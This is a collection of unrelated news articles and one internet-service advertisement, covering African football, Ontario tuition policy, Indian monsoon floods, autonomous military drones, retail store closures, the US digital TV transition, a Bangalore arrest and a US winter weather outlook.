-Algeria defender Liassine Cadamuro-Bentaiba challeges Senegal goalscorer Papakouli Diop  Algeria crashed out of the Africa Cup of Nations at the group stage after failing to win a single game in Gabon.  They were held to a 2-2 draw by Group B winners Senegal in a match they had to win to have any chance of avoiding an embarrassing early exit.  Islam Slimani scored both their goals, a two-yard volley and a scuffed effort that wrong-footed Algeria's goalkeeper.  But Senegal twice equalised, Papakouly Diop and then Moussa Sow both firing in efforts from the edge of the area.  Algeria went into the tournament as one of the favourites for the trophy but leave with their reputation damaged by three underwhelming performances.  After being held to a shock draw by Zimbabwe in their opener and then beaten by neighbours Tunisia, who booked their quarter-finals with a 4-2 win over Zimbabwe on Monday, Algeria have had a tournament to forget.  Their misery was compounded at the last by the fact they were held by Senegal's second-string side, which featured 10 changes from their last game.  Senegal coach Aliou Cisse had taken the opportunity to rest his first-choice players given the Teranga Lions had already won the group ahead of their final fixture.  And Cisse will be pleased by the resilience of his reserves who fought back to hold their own against a full-strength Algeria and ensure Senegal ended the group stage unbeaten.  Algeria might have signed off with a win but Slimani missed a chance to grab his hat-trick and a modicum of consolation when he shot wide when clean though.  Senegal will play Cameroon in the quarter-finals on Saturday.
-Toronto  The “free” post-secondary tuition program announced in last week’s provincial budget comes at a stiff cost to hundreds of thousands of Ontario college and university students.  About one million post-secondary students are expected to claim $365 million in provincial tuition and education tax credits this year — a popular tax break that is being axed to pay for the free tuition program.  According to the budget, 90% of college students and 70% of university students whose family’s annual income is below $50,000 will get grants covering more than the cost of tuition.  The new grant program, which takes effect in the 2017-18 school year, is not expected to reach as many students as the tax credits.  “We estimate that through the new Ontario Student Grant (OSG), over 150,000 students will receive grants that exceed their tuition each year,” Kelsey Ingram, a spokesman for Finance Minister Charles Sousa, said in an e-mail.  “All the additional revenue from eliminating the tuition and education tax credits will be re-invested to support the new Ontario Student Grant or other post-secondary, education, training and youth job programs.”  The Conference Board of Canada estimated that the cancellation of the tax credits will net the government $145 million in new revenue, but the entire budget of the Ministry of Training, Colleges and Universities is only going up by $94.7 million in 2016.  The Ontario government says this is not a tax grab because all the money will be reinvested in student-related programs.  “While we are continuing to finalize the design of the new OSG, we expect the total cost to be in line with the $1.3 billion we currently invest in student financial assistance,” Belinda Bien, a spokesman for Training, Colleges and Universities Minister Reza Moridi, said in an e-mail.  “This upfront, targeted grant is a smarter way to allocate taxpayer dollars and it will help those who need it the most, increasing access to a low-income segment of the population that is underrepresented,” Bien said. “It’s also important to keep in mind that no Ontario student will receive less than they are currently eligible for through the 30% Off Tuition Grant.”  PC MPP Vic Fedeli complained the government has failed to provide details on the free tuition program, despite its announcement in the budget.  “This was surely a case of ready, fire, aim,” Fedeli said. “We do know that 70% of all students are not going to be eligible for the full grant any further.”  Ontario has the most expensive post-secondary tuition in the country, but government overspending limits what it can do to help students, Fedeli said.  Premier Kathleen Wynne visited a Toronto high school Tuesday to talk about the free tuition plan in her budget, and to defend the decision to eliminate the well-used tax credits.  “As a premier whose top priority is to ensure everyone can have good jobs, it’s my job to fix these problems,” Wynne said. “It’s my job to erase any worries people have that a college or university education is out of reach.”  More than half of students whose families have annual incomes of $83,000 or less will receive grants that equal tuition.  Under the program it’s replacing, a student could receive 30% off tuition if parental income was under $160,000.  The tuition and education tax credits being cancelled mean up to hundreds of dollars a month to students or their parents who claimed them, many middle-class and higher-income earners.
-The state Department of Environmental Conservation has not be lax in inspecting polluters and taking action against them, an agency spokesman said today about a report issued by the Environmental Advocates of New York.  "This report distorts key facts, omits others, and outright ignores this administration's strong environmental record. It's disappointing that even after DEC officials provided Environmental Advocates with correct data, they proceeded to publish inaccurate information."  Constantakes said the DEC inspected every one of the 30 permitted hazardous waste facilities in NYS in 2012 and DEC has on-site monitors at six of these facilities.  In 2012, the DEC inspected 839 hazardous waste generator facilities, though the inspections weren't required by the U.S. Environmental Protection Agency, Constantakes said.  He said inspections of facilities that possess clean air permits were consistent with those conducted in 2009. Constantakes also said air emissions in New York have decreased 20 percent since 2009 and compliance levels have improved over the past decade.
-NEW DELHI: Rain pounded several parts of the country throwing life out of gear as the southwest monsoon advanced to several states.Torrential rain led to a deluge-like situation in parts of Gujarat and triggered fresh landslides in Himachal Pradesh, even as the flood situation in Assam remained grim with more rain likely to hit the northeast region on Sunday.Sharp showers pounded Tankara taluka of Gurjarat's Morbi district in a short span of time. The rainwater breached several check dams, leading to heavy waterlogging on Saturday.Tankara gauged a massive 280 mm of rainfall in the last 24 hours. Teams of the disaster management department with the help of National Disaster Response Force personnel rescued around 14 people stranded in floodwaters in the district.Suigam taluka in Banaskantha, Kodinar taluka in Gir Somnath and Kalyanpur in Devbhoomi Dwarka received 110 mm of rainfall overnight, which led to traffic snarls.Chief Minister Vijay Rupani said the state's disaster management authority has been put on alert to tackle any emergency situation.The low-lying areas in Ahmedabad are waterlogged. The city recorded 31 mm of rainfall. The IMD has warned of "heavy to very heavy" rain in Gujarat in the next three days.A 17-year-old youth was killed after a cloudburst struck a village in south Kashmir's Kulgam district on Friday.Meanwhile, the 300-km-long Jammu-Srinagar national highway, the only all-weather road connecting the Valley to the rest of India, was reopened for vehicular traffic after a day-long closure due to rainfall-induced landslides in Ramban and Udhampur districts of Jammu and Kashmir.Widespread rain led to fresh landslides in Himachal Pradesh. The Manali-Leh road was blocked near Koksar.The MeT office has predicted moderate to heavy rain and thundershowers in the mid and lower hills, and snow and rain in the higher reaches up to July 7.In Assam, floods have affected more than 2.68 lakh people in Barpeta, Lakhimpur, Jorhat, Karimganj, Cachar, Dhemaji, Karbi Anglong and Biswanath districts.The Assam State Disaster Management Authority's report said 453 villages have been inundated and over 5,272 hectares of crop area damaged by the swirling flood waters.Karimganj is the worst hit with 1.53 lakh sufferers. 76,000 people have been affected in Lakhimpur. 5,670 people have taken shelter in 269 relief camps set up in four districts.The southwest monsoon advanced into the remaining parts of Bihar.Heavy and very heavy showers drenched northern Bihar, while the southern part of the state received light to moderate rainfall in the last 24 hours.Patna gauged 0.7 mm of precipitation, Gaya 0.6 mm and Purnea and 7.7 mm. Humidity levels soared up to 100 per cent in Patna, Gaya, Bhagalpur and Purnea.A fresh spell of rain and a cloud cover thereafter kept the heat at bay in the national capital. Several parts of the city gauged rainfall between 9.8 mm and 15.9 mm. It had a high of 35.1 degrees Celsius and a low of 25.4 degrees Celsius.People in several areas of the national capital woke up to showers on Sunday morning.It was another wet day for Punjab and Haryana on Saturday. Rains over the last two-three days have arrested the rise of the mercury in the region.The maximum temperature in the two states remained below the normal levels and was recorded in the mid 30s at most of the places.The weatherman has predicted very heavy rain in Meghalaya, Nagaland, Manipur, Mizoram, Tripura, sub-Himalayan West Bengal, Sikkim, Bihar and eastern Uttar Pradesh.A downpour is "very likely" in Arunachal Pradesh, Gangetic West Bengal, Odisha, Jharkhand, west Uttar Pradesh, Uttarakhand, Gujarat, Goa, Chhattisgarh and coastal Karnataka.The southwest monsoon arrived on Saturday in Kinnaur, Lahaul and Spiti, Kullu and Mandi and parts of Sirmaur, Shimla, Kangra and Chamba districts as the MeT said it will advance in remaining parts of Himachal Pradesh in the next few days.The state received 21 per cent excess rain and all districts except Bilaspur, Chamba, Mandi and Hamirpur had above average rains except.Una, Kullu and Sirmaur districts recorded 88 per cent, 82 per cent and 71 per cent rainfall above normal. The three districts received 142.5 mm, 156.5 mm and 262.8 mm of rains, respectively.Kangra recorded 46 per cent excess rain followed by Shimla at 35 per cent and Solan 34 at per cent while Hamirpur and Bilaspur had 9 per cent less rainfall.
-Sci­ent­ists, en­gin­eers and poli­cy­makers are all fig­ur­ing out ways drones can be used bet­ter and more smartly, more pre­cise and less dam­aging to ci­vil­ians, with longer range and bet­ter stay­ing power. One meth­od un­der de­vel­op­ment is by in­creas­ing autonomy on the drone it­self.  Even­tu­ally, drones may have the tech­nic­al abil­ity to make even leth­al de­cisions autonom­ously: to re­spond to a pro­grammed set of in­puts, se­lect a tar­get and fire their weapons without a hu­man re­view­ing or check­ing the res­ult. Yet the idea of the U.S. mil­it­ary de­ploy­ing a leth­al autonom­ous ro­bot, or LAR, is spark­ing con­tro­versy. Though autonomy might ad­dress some of the cur­rent down­sides of how drones are used, they in­tro­duce new down­sides poli­cy­makers are only just learn­ing to grapple with.  The ba­sic con­ceit be­hind a LAR is that it can out­per­form and out­think a hu­man op­er­at­or. “If a drone’s sys­tem is soph­ist­ic­ated enough, it could be less emo­tion­al, more se­lect­ive and able to provide force in a way that achieves a tac­tic­al ob­ject­ive with the least harm,” said Purdue Uni­versity Pro­fess­or Samuel Liles. “A leth­al autonom­ous ro­bot can aim bet­ter, tar­get bet­ter, se­lect bet­ter, and in gen­er­al be a bet­ter as­set with the linked ISR [in­tel­li­gence, sur­veil­lance, and re­con­nais­sance] pack­ages it can run.”  Though the pace for drone strikes has slowed down — only 21 have struck Pakistan in 2013, versus 122 in 2010 ac­cord­ing to the New Amer­ica Found­a­tion — un­manned vehicles re­main a staple of the Amer­ic­an coun­ter­insur­gency toolkit. But drones have built-in vul­ner­ab­il­it­ies that mil­it­ary plan­ners still have not yet grappled with. Last year, for ex­ample, an aerospace en­gin­eer told the House Home­land Se­cur­ity Com­mit­tee that with some in­ex­pens­ive equip­ment he could hack in­to a drone and hi­jack it to per­form some rogue pur­pose.  Drones have been hack­able for years. In 2009, de­fense of­fi­cials told re­port­ers that Ir­a­ni­an-backed mi­li­tias used $26 of off-the-shelf soft­ware to in­ter­cept the video feeds of drones fly­ing over Ir­aq. And in 2011, it was re­por­ted that a vir­us had in­fec­ted some drone con­trol sys­tems at Creech Air Force Base in Nevada, lead­ing to se­cur­ity con­cerns about the se­cur­ity of un­manned air­craft.  It may be that the only way to make a drone truly se­cure is to al­low it to make its own de­cisions without a hu­man con­trol­ler: if it re­ceives no out­side com­mands, then it can­not be hacked (at least as eas­ily). And that’s where LARs, might be the most at­tract­ive.  Though they do not yet ex­ist, and are not pos­sible with cur­rent tech­no­logy, LARs are the sub­ject of fierce de­bate in aca­demia, the mil­it­ary and policy circles. Still, many treat their de­vel­op­ment as in­ev­it­ab­il­ity. But how prac­tic­al would LARs be on the bat­tle­field?  Heath­er Roff, a vis­it­ing pro­fess­or at the Uni­versity of Den­ver, said many con­flicts, such as the civil war in Syr­ia, are too com­plex for LARs. “It’s one thing to use them in a con­ven­tion­al con­flict,” where large mil­it­ar­ies fight away from cit­ies, “but we tend to fight asym­met­ric battles. And in­ter­ven­tions are only mil­it­ary cam­paigns — the ci­vil­ian ef­fects mat­ter.”  Roff says that be­cause LARs are not soph­ist­ic­ated enough to mean­ing­fully dis­tin­guish between ci­vil­ians and mil­it­ants in a com­plex, urb­an en­vir­on­ment, they prob­ably would not be ef­fect­ive at achiev­ing a con­struct­ive mil­it­ary end— if only be­cause of how a ci­vil­ian pop­u­la­tion would likely re­act to self-gov­ern­ing ma­chines fir­ing weapons at their city. “The idea that you could solve that crisis with a ro­bot­ic weapon is naïve and dan­ger­ous,” she said.  Any autonom­ous weapons sys­tem is un­likely to be used by the mil­it­ary, ex­cept in ex­traordin­ary cir­cum­stances, ar­gued Will Mc­Cants, a fel­low at the Brook­ings Saban Cen­ter and dir­ect­or of its pro­ject on U.S. Re­la­tions with the Is­lam­ic World. “You could ima­gine a scen­ario,” he says, “in which LAR planes hunted sur­face-to-air mis­siles as part of a cam­paign to des­troy Syr­ia’s air de­fenses.” It would re­move the risk to U.S. pi­lots while ex­clus­ively tar­get­ing war equip­ment that has no ci­vil­ian pur­pose.  But such a cam­paign is un­likely to ever hap­pen. “Ul­ti­mately, the na­tion­al se­cur­ity staff,” he said, re­fer­ring to per­son­nel that make up the of­fi­cials and ad­visers of the Na­tion­al Se­cur­ity Coun­cil, “does not want to give up con­trol of the con­flict.” The polit­ics of the de­cision to de­ploy any kind of autonom­ous weaponry mat­ters as much as the cap­ab­il­ity of the tech­no­logy it­self. “With an autonom­ous sys­tem, the con­sequences of fail­ure are worse in the pub­lic’s mind. There’s something about hu­man er­ror that makes people more com­fort­able with col­lat­er­al dam­age if a per­son does it,” Mc­Cants said.  That’s not to say any­one is truly com­fort­able with col­lat­er­al dam­age. “They’d rather own these kinds of de­cisions them­selves and be able to chalk it up to hu­man er­ror,” Mc­Cants said. Polit­ic­al is­sues aside, B.J. Strawser, as­sist­ant pro­fess­or at the Nav­al Post­gradu­ate School, says that LARs simply could not be used ef­fect­ively in a place like Syr­ia. “You’d need ex­ceed­ingly care­ful and re­strict­ive ROEs [rules of en­gage­ment], and I worry that any­one could carry that out ef­fect­ive, autonom­ous weapon or not,” he said.  “I don’t think any act­or, hu­man or not, is cap­able of car­ry­ing out the re­fined, pre­cise ROEs that would en­able an armed in­ter­ven­tion to be help­ful in Syr­ia.”
-LOS ANGELES >> Few remnants of the nation’s recession have been as painful as the big-box stores that were left vacant by companies that downsized or went out of business.  Many Southland cities say they are no longer grappling with as many empty stores, but a new wave of big-box vacancies is about to hit.  Blockbuster, the video rental chain that has been hammered by the rise of digital and on-demand entertainment, announced Wednesday that it will close its remaining 300 stores by early January.  “This is not an easy decision, yet consumer demand is clearly moving to digital distribution of video entertainment,” said Joseph P. Clayton, president and CEO of DISH Network Corp., Blockbuster’s parent company. “Despite our closing of the physical distribution elements of the business, we continue to see value in the Blockbuster brand, and we expect to leverage that brand as we continue to expand our digital offerings.”  The move will result in the closure of numerous stores throughout Southern California. The company’s website lists Blockbuster locations in Santa Clarita, Mission Hills, Simi Valley, Canoga Park, Van Nuys, South Pasadena, Glendora, Temple City, Burbank, West Covina, South Gate, West Los Angeles, Sherman Oaks, Carson, South Gate, Rancho Cucamonga, Mira Loma, Fontana and Riverside.  Blockbuster isn’t the only retailer that has left big stores sitting empty.  Eric Duyshart, Pasadena’s economic development manager, said his city has two big vacancies. One is an empty Macy’s department store at the Paseo Colorado mall that eventually will be demolished to make way for a hotel and additional retail. The other is a 45,000-square-foot, three-story building that housed a Borders bookstore on Lake Avenue.  “That was on the market for quite a while and someone bought it, but they’ve been sitting on it,” Duyshart said. “They’re not superactive about looking for another tenant because they will have to share the parking area with the adjacent Macy’s store, so that provides some obstacles. It’s been a little bit of a struggle because we would really like to have that occupied. But several parties have been eager to take on the space.”  Pasadena may have two big-box vacancies now, but there will soon be a third. On Wednesday a representative with Barnes & Noble confirmed rumors that the company’s Pasadena store will be closing on Dec. 31.  David Deason, vice president of development for Barnes & Noble, released a statement about the pending closure.  “We have operated the Pasadena location for the past 20 years,” Deason said. “Our lease is expiring in February 2014 and we worked diligently to come to an agreement with the property owner, but were unable to come to terms to extend the lease. As a result, the store will be closing at the end of this year.”  Deason said the company opened five new stores and closed 12 during 2013.  John Andrews, Ontario’s economic development director, said his city also has seen changes.  “When it comes to empty big-box stores, we really don’t have too much of a problem,” he said. “We just had a Wal-Mart open. That’s about 190,000 square feet, and we’ve also got a Home Depot, Target and Lowe’s. We’ve been pretty fortunate that all of those are open.”  Andrews acknowledged, however, that an Albertsons grocery store on Grove Avenue closed about a year ago and has yet to be re-occupied. A former Best Buy store in the eastern portion of Ontario also remains vacant, he said.  “There’s been activity in terms of tenant interest for the Albertsons space, but it’s still an ongoing process that’s being reviewed and discussed by the property owner,” Andrews said.  Another former Borders bookstore on 1 Mills Circle has been scoped out as a possible location for an Ashley Furniture Homestore, Ashley spokesman Jason Lockington said.  “We have looked into that but there’s no confirmation at this point,” he said.  Ashley Furniture did take over a former Borders store at Montclair Plaza in Montclair, however. The company has 32 stores in California, most of which are independently operated.  There are several other success stories of big-box locations throughout Southern California that have been repurposed for new tenants.  A 121,000-square-foot Wal-Mart store that opened late last year in the Eastland Center in West Covina occupies what used to be a Mervyns department store. Mike Lee, West Covina’s Community Development Commission director, said the city was glad to see Wal-Mart move in.  “When big stores like that are vacant they don’t generate any tax revenue,” he said. “We like to see them re-tenanted.”  Lee said another Blockbuster in the city is being readied to accommodate two or three new tenants.  In Santa Clarita, a former Borders bookstore is now occupied by Gold’s Gym, and a Wal-Mart in Simi Valley was once home to a Mervyns department store.  In Hesperia, Stater Brothers scooped up a closed Albertsons on Main Street, but closed a smaller location less than a mile away. However, 99 Cents Only then turned around and took over the smaller Stater Brothers store.  Andrews said property owners have learned to become flexible when leasing or selling large, vacant spaces.  “It can sometimes present a challenge for property owners to bring in a similar tenant,” he said. “If it was a supermarket, you might see it divided into two spaces, and the city is open to that. It really becomes what the individual property owner or ownership group wants to do with the space. A lot of times the vacant buildings were primary or secondary anchors for a center.”  Andrews said the supermarket sector is especially challenged these days because mega retailers like Wal-Mart and Target have beefed up their grocery sections. That trend also helped fuel the closure of many Fresh & Easy markets.  “It’s not surprising to see some of these spaces remain vacant for a period of time,” Andrews said. “In a perfect world we would like to see all of the shopping centers totally occupied, but the retail business is a challenging one these days.”  That challenge was clearly reflected in some of the mergers and downsizing announcements that took place earlier this year.  In late January, Barnes & Noble announced plans to shutter up to one-third of its stores over the next decade.  In an interview with the Wall Street Journal, Mitchell Klipper, who heads the company’s retail group, said his forecast was based on the assumption that the bookseller will close about 20 stores a year over that period. The company was operating 689 stores when that announcement was made.  “In 10 years, we’ll have about 450 to 500 stores,” Klipper said.  The company closed its Woodland Hills store in the Westfield Promenade on New Year’s Eve, leaving just three locations in the San Fernando Valley — Calabasas, Studio City and Burbank.  But the company still operates numerous Southern California locations, including stores in Chino Hills, Glendale, Glendora, Long Beach, Manhattan Beach, Marina Del Rey, Montclair, Newport Beach, Palmdale, Pasadena, Rancho Cucamonga, Redlands, Rowland Heights, Santa Monica, Temecula, Thousand Oaks, Torrance and Valencia.  Southern California was dealt another blow in August when Lowe’s Companies Inc. announced that it had completed its acquisition of the majority of assets of Orchard Supply Hardware, including 72 Orchard stores for $205 million in cash, plus the assumption of debts owed to nearly all of Orchard’s suppliers.  Orchard Supply had earlier filed for Chapter 11 bankruptcy protection after being weighed down by years of declining sales, an overcrowded California market and the massive debt it inherited from parent company Sears Holding Corp.  The move has resulted in the closure of several of the company’s Southland stores in such locations as Santa Clarita, Burbank, Canoga Park, Long Beach and Torrance.  But at least one Southern California city doesn’t seem to have a problem with big-box vacancies.  “I talked with Majestic Realty today,” said Don Sachs, executive director of the Industry Manufacturers Council. “I thought our vacancy rate was under 5 percent — that’s the figure I’ve been using for the past year. But Majestic said the actual vacancy rate is under 2 percent. We have companies that want to stay or relocate here that want larger accommodations but can’t find them.”
-Are you worried about the digital TV transition? Concerned about whether consumers will be confused now that Congress has switched the last day of analog broadcasting from February 17 to June 12? Nervous that the government's set-top box coupon program has run out of money despite having a waiting list of 3.7 million people?  Well, here's something else for DTV nail biters to chew on: a top retailing expert says that the nation's electronic appliances stores could sell out of analog-to-digital converter boxes around, roughly, this month.  "The worst case scenario is that there only 3 million boxes in current inventory and daily redemptions stay at 115,000," Consumer Electronics Association Vice President Michael Petricone told the Federal Communications Commission on Thursday. "We will then run out of box inventory by the end of February." Maybe even sooner, he suggested.  But that's probably not what will happen, Petricone assured the FCC. Chances are that the stores will run out of the boxes in 52 days (from when Petricone spoke on Thursday). Then, around the Ides of April, new product will start showing up the shelves.  How does Petricone figure this latest cliffhanger? Most converter box manufacturers, bless their souls, actually believed the government when it passed a law making February 17 the last day of analog broadcasting. So they stopped producing the boxes around January of this year. CEA estimates that, at present, there are about three to six million boxes in the stores.  At this point, Petricone warns, "it is extremely difficult for manufacturers and retailers to anticipate demand levels for boxes between now and June 12." That's the new last day of analog broadcasting, as established by the recently enacted DTV Delay Act.  Unknown variables include when Congress will pass the White House's proposed stimulus package, which contains $650 million to replenish the National Telecommunications and Information Administration's (NTIA) coupon program. The Delay Act also lets the NTIA issue replacements for expired coupons, but only after the program is refunded by Congress.  If the NTIA suddenly gets funded and issues all its coupons, consumers could deplete the stores within weeks. But Petricone predicts that manufacturers will probably be able to fast track the production of the boxes, in large part because the recession has shut down demand for other products. The economic downturn has created "a virtually unprecedented level of excess manufacturing capacity," which means that "manufacturing lines can be turned on immediately" for set top boxes.  "Therefore," Petricone concludes, "we believe that new converter boxes will arrive on store shelves in mid-April." As of this writing, the Senate is expected to pass its stimulus bill on Tuesday. It will then have to be reconciled with the House package.
-Members of the public were invited to grope the breasts of Japanese porn stars for eight hours in Tokyo as part of a fundraising event apparently endorsed by an AIDS prevention charity.  On Saturday, adult film stars posed as people queued up for the event, which was also broadcast on live television.  Men and women who took part in the so-called drive were expected to donate to the Japan Foundation for Aids Prevention, News.com reports.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  The unusual event was reported to be part of larger 24 hour campaign called Stop! Aids and apparently raised “thousands" for charity.  Despite the nature of the fundraiser and the criticism it has attracted, the actresses defended it to the local media. One actress told the Tokyo Sport she had no issue with the controversy surrounding it or participating in it, saying: “it’s for charity”.  “Squeeze them, donate money — let’s be happy.”  It comes after Japan’s prime minister Shinzo Abe was forced to apologise for yelling sexist comments at a fellow politician as she was giving her first speech at the Tokyo Metropolitan Assembly.  The incident highlighted wider issues of gender equality within Japan, including the extremely low number of women in managing roles and the 30 per cent discrepancy in average salaries between men and women.  In January, the Japanese Society for Artificial Intelligence journal drew criticism when it featured a female robot holding a broom on its front cover.  The image was intended to show how artificial intelligence could affect day-today life, the BBC reports.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Looking for a low cost, but high speed internet option in Louisiana?  If you're looking for the best cheap internet service, we also offer exclusive deals and free perks on HughesNet satellite internet service in Louisiana. The prices of our exclusive satellite internet plans start as low as only $39.99 per month. With high speed satellite internet you can get fast service in even more home and business locations. All you need is a clear view of the south eastern sky! Even if you don't have wireless internet coverage, you can still get the best home internet service.  Experience the best high speed wireless broadband internet wherever you live in rural Louisiana!  Broadband Blue has friendly internet service specialists waiting to take your call 24/7. Our friendly team will help you determine which internet service plan and option is available in your area of WA (even if you live out in the country). We will help you find out what internet plan is best for you and set you up with the cheapest price available. Call 888-648-2706 to speak to one of our specialists and to find out more about deals and promotions exclusive to your area!
-BANGALORE/BELGAUM: A few days after a man was picked up in Goa for posting anti-Narendra Modi messages on a social networking site, the Central Crime Branch of the Bangalore city police on Saturday night took a 24-year-old MBA student in custody for offensive messages against the prime minister-designate.The Bangalore arrest was based on a complaint lodged in Belgaum district by RTI activist Jayant Mukund Tinaikar. In his complaint, Jayant alleged that he received an offensive message against Modi on WhatsApp on May 16. Belgaum police forwarded the complaint to the Bangalore police commissionerate and the central crime branch was given the case. During investigation, police found that the message originated in Bangalore and was sent by Sayed Waqar, an MBA student from Anjuman Institute of Management in Bhatkal, Uttara Kannada district. Waqar was in Bangalore for internship for a month.On Saturday, sleuths of the central crime branch raided a flat in Hoysala Apartments, Vasantnagar, Bangalore where Waqar was staying. Four others living with him were questioned and let off but Waqar was arrested.Hemanth Nimbalkar, joint commissioner of police, crime said Bangalore police only assisted Belgaum in the arrest and had no jurisdiction. "We were requested by Belgaum police to make the arrest. Following the raid and questioning, we learnt that the four people living with Waqar had no role in the case. So we only arrested Waqar. We have handed him over to Belgaum police," he said.Nimbalkar said Waqar claimed to be an Aam Aadmi Party worker but they could not verify it.Waqar has been booked under Section 505 of the IPC for issuing statements amounting to public mischief with intent to cause fear or alarm and Section 66 of IT Act for sending offensive messages through communication service.Jayant, whose complaint to police resulted in the cracking of the multi-crore stamp paper scam involving Abdul Kareem Telgi, said: "I received an offending image that also showed BJP leaders LK Advani, Rajnath Singh, Sushma Swaraj, Baba Ramdev, Maneka Gandhi, Varun Gandhi and others. I called back the sender's number and came to know that it was from Bhatkal. I immediately brought it to the notice of senior BJP leaders in Delhi, who in turn told me to immediately approach the superintendent of police and file a complaint."The accused is likely to be produced before a court in Khanapur, Belgaum district on Monday.
-The Oregon basketball teams have announced they will play a pair of charity exhibition games Saturday morning at Matthew Knight Arena that will help bring relief to those affected by the catastrophic wildfires that impacted the State of Oregon this summer.The women's team will play Portland State at 9:30 a.m., followed by the men's team against Idaho at 11 a.m.This will be the public's first opportunity to see either 2017-18 squad. The men's team is coming off its first Final Four appearance since 1939, while the women return the starting five that led the Ducks to the first Elite Eight appearance in school history.Admission to watch both exhibitions is a $10 donation to the American Red Cross Oregon Wildfire Fund. Fans should either bring cash or write a check for their donation, as credit cards will not be accepted. Doors will open at 9:00 a.m., and all seating is general admission.The money donated on Saturday will be directed to regions damaged by fires in the state of Oregon."The NCAA has given us a unique opportunity to give back to our state, and we are honored to be able to do that," said Oregon head coach. "We want to encourage those fans who are coming to Eugene for the football game to come early and watch basketball for a good cause.""This is a great opportunity for our fans to get a look at two exciting teams," said women's coach. "While at the same time, we are joining forces with Portland State to help with the recovery efforts in fire-damaged areas of our great state."Both games will feature four 10-minute quarters with a 5-minute halftime. Mindful of the 2:45 p.m. kickoff for the Oregon-Utah football game, timeouts will be shortened as well, with the intent of ending the exhibition by 12:30 p.m.There will also be no television, radio, or web broadcast of the exhibitions, meaning the only way to see Saturday's games is in person.
-WSI, a division of The Weather Company, issued their January through March 2016 outlook update, and both forecast temperatures and precipitation have the fingerprints of the current strong El Niño, the strongest in 18 years, all over them. The forecast includes the potential for a significant cold snap in parts of the central and eastern states starting in the middle portion of January.  Stronger El Niños typically exhibit their peak influence on North America's weather pattern during the core winter months.  Keep in mind, however, there are several other factors in the atmosphere, operating on shorter time scales, that can, at times, oppose the overall three-month trend.  We'll go into more detail on those patterns following the outlooks a bit later. First, let's take a look at the latest outlooks for average temperature and total precipitation across the U.S. for January through March 2016.  These predictions do not project when and where individual storms may occur. An individual cold front or an upper ridge of high pressure can lead to a brief period of colder or warmer weather, respectively, that bucks the overall three-month trend. The same front or area of high pressure can bring a brief period of enhanced precipitation or dry spell that may or may not be indicative of the overall trend that is forecast.  Temperatures  For the first three months of 2016, WSI says the best chance of colder-than-normal temperatures lies in roughly the southern half of the Lower 48 states, from Southern California into the Southern Plains, Deep South, Florida and the Carolinas.  Meanwhile, a large swath of the western and northern United States from northern California into the Pacific Northwest eastward into the Midwest, Great Lakes and Northeast is expected to be warmer than normal, overall.  However, there's a January catch.  "We expect a 'tale of two months', with a cold-West, warm-East first half of the month, followed by a reversal during the back half of the month towards potentially much colder eastern U.S. temperatures," wrote Dr. Todd Crawford, WSI chief meteorologist, in their outlook released Friday.  Interestingly, one factor in this pattern reversal may have been brought about by an Icelandic storm that tugged above-freezing air to the North Pole between Christmas and New Year's Eve.  "The rapid and unexpected destruction of the tropospheric polar vortex, via the historically strong North Atlantic storm this week, has thrown a significant monkey wrench into the January forecast," said Crawford.  (MORE: Icelandic Storm Sent Warm Air to the North Pole )  Specifically, the more "blocked up" the upper-level flow is in the higher latitudes, the more likely cold air is going to be forced south into the U.S. The stronger and more persistent the blocking, the longer the cold air will stick around.  Crawford said whether the colder East pattern relents later in January is uncertain, as upper-atmospheric blocking, such as is forecast for mid-January, often lasts longer than numerical models suggest.  "It would not surprise us if the second half of the month was quite cold across much of the East, and there are clearly cold risks to our forecast."  (MORE: Warmest December on Record For Hundreds of Cities )  Beyond January, the basic warmer-than-average North, but colder-than-average South outlook still holds.  In a typical strong El Niño winter, a warm South in December eventually transitions to a colder-than-normal January, February and March, while the northern tier of states remains relatively mild, by winter standards.  But that's not always the case. The winters of 1972-73 and 1965-66 were considerably colder in much of the northern tier of states during those strong El Niños, and the winter of 1957-58 was very cold in the Northeast.  Precipitation  NOAA expects January through March 2016 to trend wetter than usual over much of the southern tier of the nation, from California into the Desert Southwest to the southern and central Plains, as well as the Gulf Coast and Southeast coast, including Florida.  Parts of the Northeast seaboard from the Mid-Atlantic states into southern New England, may also see more precipitation than a typical winter.  Conversely, a relatively dry winter is expected over parts of the Pacific Northwest, northern Rockies and into the far northern Plains, Great Lakes and Ohio Valley.  This precipitation outlook owes to the typical dominance of the subtropical or southern branch jet stream during a strong El Niño winter, bringing more frequent and vigorous low-pressure systems along the nation's southern tier.  (MORE: El Niño and Seasonal Snowfall | Your Typically Snowiest Month )  This should at least deliver a significant dent in California's exceptional drought, but even a strong El Niño winter doesn't assure that.  As we discussed in an early December article about the winter outlook , one of the five previous strong El Niño seasons was drier than average in the Golden State (1965-66).  The aforementioned subtropical jet stream usually brings an increase in Pacific storms to California in January and February.  Conversely, drought may either hold steady or expand during the winter in the northern Rockies and northern High Plains, thanks to persistent warmth and expected drier conditions.  El Niño Not the "Be-all and End-all"  The current strong El Niño has peaked, but its influence on the atmopshere and subsequent temperature and precipitation impacts is most strongly felt in the northern hemisphere winter months.  However, three variables, in addition to El Niño, could play an important role in early 2016, including the North Atlantic Oscillation, the Arctic Oscillation and the Madden-Julian Oscillation. These features can be difficult to forecast more than a few weeks in advance.  The North Atlantic Oscillation (NAO) basically describes the degree of blocking of the jet stream over the North Atlantic Ocean, frequently in the vicinity of Greenland. The NAO's negative phase features high pressure aloft blocking the west-to-east flow of the jet stream, forcing it to buckle south over the eastern U.S., ushering in prolonged cold air. The positive phase is just the opposite; no blocking means Canadian cold air mainly drains west-to-east across the content, not plunging deep into the U.S.  The Arctic Oscillation is a climate pattern characterized by the strength of counterclockwise winds around the Arctic. Its positive phase confines cold air to the polar regions, while its negative phase is associated with cold air penetrating farther south, as well as an increased chance of nor'easters.  (MORE: Winter Storm Names 2015-2016 | The Science Behind Naming Winter Storms )  The Madden-Julian Oscillation is associated with variations in tropical thunderstorm activity (convection) and is characterized by an eastward-moving pulse of atmospheric features affecting cloud formation, precipitation and pressure patterns. This pulse circles the globe roughly once every one to two months. In turn, the jet streams over the North Pacific and South Pacific can be impacted during the winter due to large-scale changes in tropical convection. This can contribute to blocking activity which impacts the amount of precipitation across the Pacific Northwest.  MORE ON WEATHER.COM: The Best Photos of 2015
